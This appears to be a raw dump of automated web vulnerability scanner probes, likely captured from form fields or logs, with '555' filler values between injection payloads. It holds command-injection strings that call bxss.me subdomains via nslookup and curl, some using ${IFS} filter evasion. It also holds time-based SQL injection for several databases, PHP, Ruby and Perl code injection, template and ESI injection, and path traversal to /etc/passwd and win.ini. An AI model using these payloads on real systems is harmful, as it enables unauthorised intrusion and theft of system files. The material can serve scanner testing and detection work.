555&echo prjqzs$()\ skicsg\nz^xyu||a #' &echo prjqzs$()\ skicsg\nz^xyu||a #|" &echo prjqzs$()\ skicsg\nz^xyu||a #
|echo gvieiq$()\ zwhmxu\nz^xyu||a #' |echo gvieiq$()\ zwhmxu\nz^xyu||a #|" |echo gvieiq$()\ zwhmxu\nz^xyu||a #
555
555|echo jnlnrv$()\ udzdvb\nz^xyu||a #' |echo jnlnrv$()\ udzdvb\nz^xyu||a #|" |echo jnlnrv$()\ udzdvb\nz^xyu||a #
555
(nslookup -q=cname hitcroofshnzid3ee4.bxss.me||curl hitcroofshnzid3ee4.bxss.me))
)
$(nslookup -q=cname hitldvskwoiln67d46.bxss.me||curl hitldvskwoiln67d46.bxss.me)
!(()&&!|*|*|
&nslookup -q=cname hitowkvnhtubvb6837.bxss.me&'\"`0&nslookup -q=cname hitowkvnhtubvb6837.bxss.me&`'
^(#$!@#$)(()))******
&(nslookup -q=cname hituvgzzufznuc8a01.bxss.me||curl hituvgzzufznuc8a01.bxss.me)&'\"`0&(nslookup -q=cname hituvgzzufznuc8a01.bxss.me||curl hituvgzzufznuc8a01.bxss.me)&`'
555
|(nslookup -q=cname hitasmdwsfkvn1b55e.bxss.me||curl hitasmdwsfkvn1b55e.bxss.me)
555
`(nslookup -q=cname hitqinrglvjmq5ef98.bxss.me||curl hitqinrglvjmq5ef98.bxss.me)`
;(nslookup -q=cname hitpnwxihccfof89bb.bxss.me||curl hitpnwxihccfof89bb.bxss.me)|(nslookup -q=cname hitpnwxihccfof89bb.bxss.me||curl hitpnwxihccfof89bb.bxss.me)&(nslookup -q=cname hitpnwxihccfof89bb.bxss.me||curl hitpnwxihccfof89bb.bxss.me)
555
|(nslookup${IFS}-q${IFS}cname${IFS}hithiofrpyikab8061.bxss.me||curl${IFS}hithiofrpyikab8061.bxss.me)
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitnwrirtqwuse073d.bxss.me||curl${IFS}hitnwrirtqwuse073d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitnwrirtqwuse073d.bxss.me||curl${IFS}hitnwrirtqwuse073d.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555'&&sleep(27*1000)*ibcbpk&&'
555
555"&&sleep(27*1000)*nrnojy&&"
555
555'||sleep(27*1000)*ptrnst||'
555
555"||sleep(27*1000)*ysbtys||"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hityz'.'kscdcgxx157db.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(67).'
".gethostbyname(lc("hituv"."jkpjamreef9f9.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(88).chr(106).chr(77)."
gethostbyname(lc('hitvy'.'rxbsvcew32861.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(85).chr(105).chr(72)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
<!--
555
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
555
";print(md5(31337));$a="
HttP://bxss.me/t/xss.html?%00
${@print(md5(31337))}
bxss.me/t/xss.html?%00
${@print(md5(31337))}\
'.print(md5(31337)).'
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
555
{php}print(md5(31337));{/php}
[php]print(md5(31337));[/php]
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(104).concat(76).concat(108).concat(83)+(require"socket" Socket.gethostbyname("hitdc"+"mrcdgkjl1e0e6.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(120).concat(67).concat(98).concat(87)+(require'socket' Socket.gethostbyname('hitud'+'wakguffx1e80c.bxss.me.')[3].to_s)+'
'A'.concat(70-3).concat(22*4).concat(119).concat(76).concat(105).concat(86)+(require'socket' Socket.gethostbyname('hitaq'+'wcaipcbnf065d.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555GVtUmSvL'; waitfor delay '0:0:15' --
555-1 OR 680=(SELECT 680 FROM PG_SLEEP(15))--
555-1) OR 509=(SELECT 509 FROM PG_SLEEP(15))--
555-1)) OR 655=(SELECT 655 FROM PG_SLEEP(15))--
555EQQ6hH85' OR 80=(SELECT 80 FROM PG_SLEEP(15))--
555BkTdVqG4') OR 282=(SELECT 282 FROM PG_SLEEP(15))--
555KoYF6fZp')) OR 640=(SELECT 640 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@2FpZ1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
${9999006+10000035}
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
response.write(9807580*9755917)
555
j7R3dyp9
555
'+response.write(9807580*9755917)+'
555
555
vYIi5kQc: SYvmYvJd
555
555
"+response.write(9807580*9755917)+"
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
555
)
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
file:///etc/passwd
555
555
555
!(()&&!|*|*|
555
555
'.gethostbyname(lc('hitip'.'fqwdrijta4ad5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(68).chr(104).chr(83).'
^(#$!@#$)(()))******
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
../555
555
555
".gethostbyname(lc("hitiv"."yqknfhjdd21c0.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(80).chr(104).chr(88)."
555
555
Http://bxss.me/t/fit.txt
555
555
gethostbyname(lc('hitkt'.'xfmqxacuc3dc3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(67).chr(107).chr(80)
http://bxss.me/t/fit.txt%3F.jpg
555
'"
555
555
555
555
/etc/shells
<!--
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
c:/windows/win.ini
555
555
bxss.me/t/xss.html?%00
555
555
bxss.me
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(119).concat(75).concat(102).concat(66)+(require"socket" Socket.gethostbyname("hitiu"+"zqeudmga2201d.bxss.me.")[3].to_s)+"
555
555
555
555
555
555
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(114).concat(79).concat(109).concat(88)+(require'socket' Socket.gethostbyname('hittq'+'bfgjcbzh716d0.bxss.me.')[3].to_s)+'
555
555
555
555
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(116).concat(72).concat(113).concat(73)+(require'socket' Socket.gethostbyname('hitbq'+'cpoyvgfpf3312.bxss.me.')[3].to_s)
555
555
555
555
echo qeyerh$()\ maszxp\nz^xyu||a #' &echo qeyerh$()\ maszxp\nz^xyu||a #|" &echo qeyerh$()\ maszxp\nz^xyu||a #
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
&echo lhuagu$()\ uhjtzv\nz^xyu||a #' &echo lhuagu$()\ uhjtzv\nz^xyu||a #|" &echo lhuagu$()\ uhjtzv\nz^xyu||a #
555
${10000177+9999278}
555
555
555
555
555
555
'"()
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555&echo eefruk$()\ xfzhnz\nz^xyu||a #' &echo eefruk$()\ xfzhnz\nz^xyu||a #|" &echo eefruk$()\ xfzhnz\nz^xyu||a #
555
555
555
555'&&sleep(27*1000)*phmxfn&&'
555
555
|echo jprxmg$()\ qhiikz\nz^xyu||a #' |echo jprxmg$()\ qhiikz\nz^xyu||a #|" |echo jprxmg$()\ qhiikz\nz^xyu||a #
555
555
555
555
555|echo ovsjkn$()\ yiixcq\nz^xyu||a #' |echo ovsjkn$()\ yiixcq\nz^xyu||a #|" |echo ovsjkn$()\ yiixcq\nz^xyu||a #
555
555
555
555
555"&&sleep(27*1000)*hmwrrd&&"
555
555
555
555
(nslookup -q=cname hitqubuqlfzms44e0d.bxss.me||curl hitqubuqlfzms44e0d.bxss.me))
555'||sleep(27*1000)*ljxldh||'
555
555
555"||sleep(27*1000)*zivuwf||"
555
555
555
555
555
555
$(nslookup -q=cname hitlvvouvoxzf8838c.bxss.me||curl hitlvvouvoxzf8838c.bxss.me)
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
&nslookup -q=cname hitcgvsmwbuurd95b0.bxss.me&'\"`0&nslookup -q=cname hitcgvsmwbuurd95b0.bxss.me&`'
555
555
';print(md5(31337));$a='
xfs.bxss.me
dr1GeYu0
555
555
&(nslookup -q=cname hitpqoamunadl8b10b.bxss.me||curl hitpqoamunadl8b10b.bxss.me)&'\"`0&(nslookup -q=cname hitpqoamunadl8b10b.bxss.me||curl hitpqoamunadl8b10b.bxss.me)&`'
555
555
";print(md5(31337));$a="
|(nslookup -q=cname hitmqpmrklhym18bf7.bxss.me||curl hitmqpmrklhym18bf7.bxss.me)
VDi7zeDq: jby8I6Fu
555
response.write(9841099*9944970)
555
555
${@print(md5(31337))}
555
555
555
`(nslookup -q=cname hitymwtlvbhiobcb20.bxss.me||curl hitymwtlvbhiobcb20.bxss.me)`
'+response.write(9841099*9944970)+'
555
555
555
${@print(md5(31337))}\
;(nslookup -q=cname hitipvsnyapnc2b74d.bxss.me||curl hitipvsnyapnc2b74d.bxss.me)|(nslookup -q=cname hitipvsnyapnc2b74d.bxss.me||curl hitipvsnyapnc2b74d.bxss.me)&(nslookup -q=cname hitipvsnyapnc2b74d.bxss.me||curl hitipvsnyapnc2b74d.bxss.me)
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
"+response.write(9841099*9944970)+"
'.print(md5(31337)).'
555
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hithcamqnysmj9bb49.bxss.me||curl${IFS}hithcamqnysmj9bb49.bxss.me)
../../../../../../../../../../../../../../windows/win.ini
555
555
<?php print(md5(31337));?>
555
555
555
555
555
file:///etc/passwd
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
&(nslookup${IFS}-q${IFS}cname${IFS}hitxwrqcolfcs38004.bxss.me||curl${IFS}hitxwrqcolfcs38004.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxwrqcolfcs38004.bxss.me||curl${IFS}hitxwrqcolfcs38004.bxss.me)&`'
555
555
'{${print(md5(31337))}}'
555
555
555
555
555
print(md5(31337));//
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
../555
555
{php}print(md5(31337));{/php}
555
555
Http://bxss.me/t/fit.txt
)
555
555
555
555
555
[php]print(md5(31337));[/php]
555
!(()&&!|*|*|
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
555
^(#$!@#$)(()))******
555
/etc/shells
555
'.gethostbyname(lc('hitra'.'sdldplgf831ad.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(82).chr(111).chr(90).'
555
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
".gethostbyname(lc("hitck"."ycnbffgue04f1.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(86).chr(108).chr(81)."
c:/windows/win.ini
555
555
555
555
555
gethostbyname(lc('hitba'.'yhdknuqs81a9f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(68).chr(106).chr(74)
555
555
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo gsdajc$()\ ojvxxh\nz^xyu||a #' &echo gsdajc$()\ ojvxxh\nz^xyu||a #|" &echo gsdajc$()\ ojvxxh\nz^xyu||a #
555
555
555
555
555
555
555
&echo ldcizk$()\ ohdsmm\nz^xyu||a #' &echo ldcizk$()\ ohdsmm\nz^xyu||a #|" &echo ldcizk$()\ ohdsmm\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555&echo quqzux$()\ ycmvcl\nz^xyu||a #' &echo quqzux$()\ ycmvcl\nz^xyu||a #|" &echo quqzux$()\ ycmvcl\nz^xyu||a #
555
555
555
555
555
555
555
555
555
|echo nohidf$()\ trmjjv\nz^xyu||a #' |echo nohidf$()\ trmjjv\nz^xyu||a #|" |echo nohidf$()\ trmjjv\nz^xyu||a #
555
555
555
555
555
555
555|echo dgbtgx$()\ grpdaw\nz^xyu||a #' |echo dgbtgx$()\ grpdaw\nz^xyu||a #|" |echo dgbtgx$()\ grpdaw\nz^xyu||a #
555
555
555
555
555
555
555
'"
(nslookup -q=cname hitwpeclepabs5cb38.bxss.me||curl hitwpeclepabs5cb38.bxss.me))
555
555
555
555
555
555
555
555
555
<!--
555
$(nslookup -q=cname hitelpivcuabr117aa.bxss.me||curl hitelpivcuabr117aa.bxss.me)
555
555
555
'"()
555
555
555
555
HttP://bxss.me/t/xss.html?%00
555
&nslookup -q=cname hitjgyosoykmu28e92.bxss.me&'\"`0&nslookup -q=cname hitjgyosoykmu28e92.bxss.me&`'
555
555
555
555'&&sleep(27*1000)*anzzas&&'
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
bxss.me/t/xss.html?%00
555
&(nslookup -q=cname hitsrhorvritb97755.bxss.me||curl hitsrhorvritb97755.bxss.me)&'\"`0&(nslookup -q=cname hitsrhorvritb97755.bxss.me||curl hitsrhorvritb97755.bxss.me)&`'
555
555
555"&&sleep(27*1000)*gzmdwo&&"
555
555
555
555
';print(md5(31337));$a='
555
555
555'||sleep(27*1000)*vmdxqk||'
555
|(nslookup -q=cname hitkpbcvalisf29af6.bxss.me||curl hitkpbcvalisf29af6.bxss.me)
555
555
";print(md5(31337));$a="
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
`(nslookup -q=cname hitfgjzohdveldfcc9.bxss.me||curl hitfgjzohdveldfcc9.bxss.me)`
"+"A".concat(70-3).concat(22*4).concat(101).concat(66).concat(121).concat(71)+(require"socket" Socket.gethostbyname("hitwh"+"drbcuyzea0bce.bxss.me.")[3].to_s)+"
555
555
555
555
555
555"||sleep(27*1000)*hlxwuv||"
555
'+'A'.concat(70-3).concat(22*4).concat(99).concat(82).concat(106).concat(89)+(require'socket' Socket.gethostbyname('hitlz'+'jrdnyrtk18451.bxss.me.')[3].to_s)+'
;(nslookup -q=cname hitqkcriltciwa8306.bxss.me||curl hitqkcriltciwa8306.bxss.me)|(nslookup -q=cname hitqkcriltciwa8306.bxss.me||curl hitqkcriltciwa8306.bxss.me)&(nslookup -q=cname hitqkcriltciwa8306.bxss.me||curl hitqkcriltciwa8306.bxss.me)
555
555
${@print(md5(31337))}
555
555
555
555
${@print(md5(31337))}\
555
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitrowmomnmfv26f26.bxss.me||curl${IFS}hitrowmomnmfv26f26.bxss.me)
'A'.concat(70-3).concat(22*4).concat(107).concat(86).concat(115).concat(87)+(require'socket' Socket.gethostbyname('hitbm'+'boytepehba794.bxss.me.')[3].to_s)
555
555
555
555
555
'.print(md5(31337)).'
&(nslookup${IFS}-q${IFS}cname${IFS}hithmyznnzdag897a9.bxss.me||curl${IFS}hithmyznnzdag897a9.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hithmyznnzdag897a9.bxss.me||curl${IFS}hithmyznnzdag897a9.bxss.me)&`'
555
555
555
555
555
<?php print(md5(31337));?>
555
555
555
555
555
555
555
555
'{${print(md5(31337))}}'
555
555
555
555
print(md5(31337));//
555
555
555
555
555
555
555
555
{php}print(md5(31337));{/php}
555
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999764+9999934}
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9859424*9079929)
555
555
555
555
555
'+response.write(9859424*9079929)+'
555
555
fi4ViAxT
555
555
555
555
"+response.write(9859424*9079929)+"
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
xfs.bxss.me
555
555
puKWTAT5: OQjovLz1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
555
555
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
555
)
'.gethostbyname(lc('hites'.'btmjpmtaf9066.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(69).chr(103).chr(77).'
555
555
555
555
555
file:///etc/passwd
!(()&&!|*|*|
555
".gethostbyname(lc("hitpv"."uxoyxwerdab25.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(79).chr(98).chr(73)."
555
555
555
555
555
555
^(#$!@#$)(()))******
555
555
gethostbyname(lc('hitkv'.'taerabqq568c8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(69).chr(114).chr(83)
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
555
555
../555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
555
555
555
555
555
Http://bxss.me/t/fit.txt
555
555
555
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
555
555
555
555
555
555
555
'"
/etc/shells
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
bxss.me/t/xss.html?%00
555
../../../../../../../../../../../../../../etc/shells
555
555
555
<!--
"+"A".concat(70-3).concat(22*4).concat(118).concat(68).concat(114).concat(71)+(require"socket" Socket.gethostbyname("hitav"+"hjdzxwxn342c0.bxss.me.")[3].to_s)+"
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
c:/windows/win.ini
555
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(120).concat(73).concat(116).concat(69)+(require'socket' Socket.gethostbyname('hitoq'+'sxkoitaae74bb.bxss.me.')[3].to_s)+'
555
555
555
555
bxss.me
555
555
555
555
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(118).concat(81).concat(112).concat(86)+(require'socket' Socket.gethostbyname('hitfz'+'aoqqnawp73f40.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555
555
555
555
555'&&sleep(27*1000)*yvehyk&&'
555
555
555
555
555
555"&&sleep(27*1000)*ukkzsz&&"
echo hukrpf$()\ drsfvi\nz^xyu||a #' &echo hukrpf$()\ drsfvi\nz^xyu||a #|" &echo hukrpf$()\ drsfvi\nz^xyu||a #
555
555
555
555
555'||sleep(27*1000)*qvcgym||'
&echo nocqjj$()\ ujsycu\nz^xyu||a #' &echo nocqjj$()\ ujsycu\nz^xyu||a #|" &echo nocqjj$()\ ujsycu\nz^xyu||a #
555
555
555
555&echo txlcfg$()\ wmlqrr\nz^xyu||a #' &echo txlcfg$()\ wmlqrr\nz^xyu||a #|" &echo txlcfg$()\ wmlqrr\nz^xyu||a #
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555"||sleep(27*1000)*mneulk||"
|echo fkwgtp$()\ nmuvhc\nz^xyu||a #' |echo fkwgtp$()\ nmuvhc\nz^xyu||a #|" |echo fkwgtp$()\ nmuvhc\nz^xyu||a #
';print(md5(31337));$a='
555
555
555
555|echo nkklxk$()\ sfubus\nz^xyu||a #' |echo nkklxk$()\ sfubus\nz^xyu||a #|" |echo nkklxk$()\ sfubus\nz^xyu||a #
";print(md5(31337));$a="
555
555
${@print(md5(31337))}
(nslookup -q=cname hitbhwgtdygqv18125.bxss.me||curl hitbhwgtdygqv18125.bxss.me))
555
555
${@print(md5(31337))}\
$(nslookup -q=cname hitorxqnwvotb80643.bxss.me||curl hitorxqnwvotb80643.bxss.me)
555
&nslookup -q=cname hitkjmhqigjsa136e4.bxss.me&'\"`0&nslookup -q=cname hitkjmhqigjsa136e4.bxss.me&`'
555
'.print(md5(31337)).'
&(nslookup -q=cname hittkzptonwnx7faa9.bxss.me||curl hittkzptonwnx7faa9.bxss.me)&'\"`0&(nslookup -q=cname hittkzptonwnx7faa9.bxss.me||curl hittkzptonwnx7faa9.bxss.me)&`'
<?php print(md5(31337));?>
555
555
'{${print(md5(31337))}}'
|(nslookup -q=cname hitvxryfubfry1fac9.bxss.me||curl hitvxryfubfry1fac9.bxss.me)
555
555
print(md5(31337));//
555
555
`(nslookup -q=cname hitjeadpjgqpmc094b.bxss.me||curl hitjeadpjgqpmc094b.bxss.me)`
{php}print(md5(31337));{/php}
555
;(nslookup -q=cname hitrjhklyngaj68956.bxss.me||curl hitrjhklyngaj68956.bxss.me)|(nslookup -q=cname hitrjhklyngaj68956.bxss.me||curl hitrjhklyngaj68956.bxss.me)&(nslookup -q=cname hitrjhklyngaj68956.bxss.me||curl hitrjhklyngaj68956.bxss.me)
555
[php]print(md5(31337));[/php]
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitkhhbvafwko7b34d.bxss.me||curl${IFS}hitkhhbvafwko7b34d.bxss.me)
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitepiyemexau22681.bxss.me||curl${IFS}hitepiyemexau22681.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitepiyemexau22681.bxss.me||curl${IFS}hitepiyemexau22681.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555
555-1 waitfor delay '0:0:15' --
55543GQt5Xj'; waitfor delay '0:0:15' --
555
555rmAijND7'; waitfor delay '0:0:15' --
555-1 OR 136=(SELECT 136 FROM PG_SLEEP(15))--
555
555-1 OR 504=(SELECT 504 FROM PG_SLEEP(15))--
555-1) OR 154=(SELECT 154 FROM PG_SLEEP(15))--
555
555-1) OR 201=(SELECT 201 FROM PG_SLEEP(15))--
555-1)) OR 688=(SELECT 688 FROM PG_SLEEP(15))--
555
555-1)) OR 181=(SELECT 181 FROM PG_SLEEP(15))--
555RTWpuLCs' OR 630=(SELECT 630 FROM PG_SLEEP(15))--
555
@@Ip1Yv
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555
555ZgySFqWB'; waitfor delay '0:0:15' --
555
555
555-1 OR 136=(SELECT 136 FROM PG_SLEEP(15))--
555
555
555-1) OR 762=(SELECT 762 FROM PG_SLEEP(15))--
555
555
555-1)) OR 571=(SELECT 571 FROM PG_SLEEP(15))--
555
555
555dPYIHqat' OR 136=(SELECT 136 FROM PG_SLEEP(15))--
555
555
555yGv5cUsj') OR 812=(SELECT 812 FROM PG_SLEEP(15))--
555
555
555T4jfrg9C')) OR 160=(SELECT 160 FROM PG_SLEEP(15))--
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@kGleq
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
${9999690+9999008}
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9796411*9455741)
555
555
'+response.write(9796411*9455741)+'
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
"+response.write(9796411*9455741)+"
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
../../../../../../../../../../../../../../etc/passwd
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
../../../../../../../../../../../../../../windows/win.ini
555
/etc/shells
file:///etc/passwd
555
../../../../../../../../../../../../../../etc/shells
555
555
555
../555
c:/windows/win.ini
555
bxss.me
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
pAL1SmKC
555
555
555
555
k24cAF3k: XsBHI8rR
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)
555
555
555
555
555
!(()&&!|*|*|
555
echo nznaud$()\ luvktw\nz^xyu||a #' &echo nznaud$()\ luvktw\nz^xyu||a #|" &echo nznaud$()\ luvktw\nz^xyu||a #
^(#$!@#$)(()))******
&echo lvfewu$()\ nresxg\nz^xyu||a #' &echo lvfewu$()\ nresxg\nz^xyu||a #|" &echo lvfewu$()\ nresxg\nz^xyu||a #
555
555
555&echo fjwuvj$()\ gzhglz\nz^xyu||a #' &echo fjwuvj$()\ gzhglz\nz^xyu||a #|" &echo fjwuvj$()\ gzhglz\nz^xyu||a #
555
555
555
555
|echo mknkue$()\ gqbnfg\nz^xyu||a #' |echo mknkue$()\ gqbnfg\nz^xyu||a #|" |echo mknkue$()\ gqbnfg\nz^xyu||a #
555
555
555
'.gethostbyname(lc('hitwl'.'csheacsyc453e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(71).chr(118).chr(71).'
555|echo rgykea$()\ nxxrfd\nz^xyu||a #' |echo rgykea$()\ nxxrfd\nz^xyu||a #|" |echo rgykea$()\ nxxrfd\nz^xyu||a #
555
555
555
".gethostbyname(lc("hitho"."xgofarlicf126.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(87).chr(112).chr(76)."
555
(nslookup -q=cname hitbthzjiebbub48fe.bxss.me||curl hitbthzjiebbub48fe.bxss.me))
555
555
555
gethostbyname(lc('hitia'.'yonvzzfb1300e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(84).chr(97).chr(67)
$(nslookup -q=cname hitqratvcttow273f4.bxss.me||curl hitqratvcttow273f4.bxss.me)
555
555
&nslookup -q=cname hitsubcobtkuqc029c.bxss.me&'\"`0&nslookup -q=cname hitsubcobtkuqc029c.bxss.me&`'
555
555
555
&(nslookup -q=cname hitzhquftwvrbc03fa.bxss.me||curl hitzhquftwvrbc03fa.bxss.me)&'\"`0&(nslookup -q=cname hitzhquftwvrbc03fa.bxss.me||curl hitzhquftwvrbc03fa.bxss.me)&`'
555
555
555
|(nslookup -q=cname hituetorfhomh9db92.bxss.me||curl hituetorfhomh9db92.bxss.me)
555
555
